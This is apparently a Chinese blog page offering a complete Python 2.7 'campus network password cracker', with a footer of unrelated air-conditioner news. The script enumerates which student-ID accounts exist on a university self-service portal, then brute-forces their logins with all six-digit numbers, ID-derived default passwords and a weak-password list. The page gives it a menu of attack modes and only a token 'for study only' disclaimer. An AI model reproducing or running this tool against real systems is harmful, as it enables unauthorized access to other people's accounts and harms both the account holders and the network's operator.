校园网密码破解程序
admin
2023-03-15 13:01:19
0次

环境:Python 2.7

#!/usr/bin/env python
#coding=utf8
print "+"*50
print u"功能:简单破解校园网账号"
print u"微信公众号:电脑趣事"
print u"仅供学习交流使用,严禁违法犯罪,否则后果自负"
print "+"*50

import httplib
import urllib
import re


username=[]
httpClient = None
If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]

def Determine():
	nj = int(raw_input("please select a class 15,16,17:").strip())
	start =int(raw_input("please input start(Prompt:1234):").strip())
	end = int(raw_input("please input end(Prompt:5678):").strip())
	
	if (end <=start or (nj != 15 and nj != 16 and nj!=17)):
		print u"输入有误,请重新选择"
		print '='*50
		menu()
		exit()
	else:
		print "please wait a moment "

	#构造学号
	for i in range(start,end):
	    for j in range(0,100):
	        key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))
	        
	        try:
	            params = urllib.urlencode({'key': key_numer})
	            headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
	            httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
	            httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)
	            response = httpClient.getresponse()
	            right_or_wrong = response.read()
	            #正则和判断
	            zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)
	            if len(zhengze) == 1:
	                username.append(key_numer)
	            
	        except Exception, e:
	            print e
	        finally:
	            if httpClient:
	                httpClient.close()
	print "."*50
	print u"在这个范围内已开通的账号有:"
	print ""
	print username
	print "."*50
	return username

def Connect(UserName,PassWord):
	global a
	try:
		params = urllib.urlencode({'name': UserName,'password':PassWord})
		headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
		httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)
		httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers)
		response = httpClient.getresponse()
		right_or_wrong = response.read()

		pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)
		if len(pipei)==1:
			a = 0 #判断是否爆破出来的标记
			pass
		else:
			print u"账号:%s\000\000密码:%s"%(UserName,PassWord)
			a = 1
			
	except Exception, e:
		print e
	finally:
		if httpClient:
		    httpClient.close()
	return a

def yanzheng():
	UserName = str(raw_input("please select a username input:").strip())
	for i in range(0,1000000):
		PassWord = str(i).zfill(6)
		Connect(UserName,PassWord)
		if a == 1:
			break
		else:
			pass

def Default_password_single():
	UserName = str(raw_input("please select a username input:").strip())
	PassWord = UserName[3:10]
	Connect(UserName,PassWord)
	if a ==0:
		PassWord = '123456'
		Connect(UserName,PassWord)
		if a==0:
			print u"已经查找完成"

def Default_password_not_single():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])
		PassWord = UserName[3:10]
		Connect(UserName,PassWord)
		if a ==0:
			PassWord = '123456'
			Connect(UserName,PassWord)
			if (i==len(username)-1 and a == 0):
				print u"已经查找完成"

def if_password():
	print "please wait a moment"
	for i in range(0,len(username)):
		UserName = str(username[i])	
		for j in range(0,len(If_password)):
			PassWord = If_password[j]
			Connect(UserName,PassWord)
			if (i==len(username)-1 and j==len(If_password)-1 and a == 0):
				print u"已经查找完毕"			



def menu():
    print u"欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
    while True:
    	print "*"*50
    	print u"\t(1) 查看已经注册的账号"
    	print u"\t(2) 简单的爆破"
    	print u"\t(3) 默认密码单个查询"
    	print u"\t(4) 默认密码批量查询"
    	print u"\t(5) 弱口令爆破"
    	print "*"*50
        choices = raw_input("Please choices:").strip()
        if len(choices) == 0:
        	continue
        if choices == '1':
        	Determine()
    	elif choices == '2':
    		yanzheng()
    	elif choices == '3':
    		Default_password_single()
    	elif choices == '4':
    		Default_password_not_single()
    	elif choices == '5':
    		if_password()
        else:
            print u"请注意账号安全!"
            exit()


if __name__ == '__main__':
	menu()
	







微信公众号

校园网密码破解程序

相关内容

热门资讯

空调连续工作多久需要停机休息 空调连续工作的时间取决于多个因素,包括空调的型号、功率、使用环境和维护情况等。一般来说,空调可以连续...
空调哪个符号是除湿的 空调除湿功能通常用一个水滴形状的符号表示。不同品牌和型号的空调遥控器可能会有所差异,但一般来说,除湿...
格力空调多长时间加一次氟利昂 1、一般情况下,空调对氟利昂的使用量是非常小的,所以在空调使用了四年左右的时候再考虑加也没问题。2、...
空调用多长时间需要加氟一次 一般情况下是五年。当出现以下这几种情况时,空调才需要加氟。1、空调的室内机和室外机各有两个接口,当接...
格调生活·C标思享荟:卡萨帝在... 9月12日的郑州龙湖金融岛,夜风轻拂,灯光璀璨。“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑...
品牌价值破千亿、高端份额持续领... 9月12日,“C标时刻共传奇——卡萨帝思享荟暨20周年品牌盛典郑州站”在郑州龙湖金融岛举办。2026...
空调主板坏了修800还是换新的 空调主板坏了是修还是换新,需要考虑多个因素,以下是一些建议:1. 维修成本:如果维修费用较低,比如 ...
空调开多久需要休息多长时间 问题:空调开多久需要休息多长时间回答:1、在使用空调的过程中,一般空调开7~8个小时左右需要休息2~...
中央空调多长时间清洗一次 1、一般空调开机前清洗一次即可,空调开机中间时段再清洗一次,空调关机时清洗一次,这样比较合理。2、空...
中央空调氟利昂多久加一次 看空调制热和制冷程度,很多人的观点认为氟利昂必须一年放一次,其实这个观点是错误的,理解上面有点偏差,...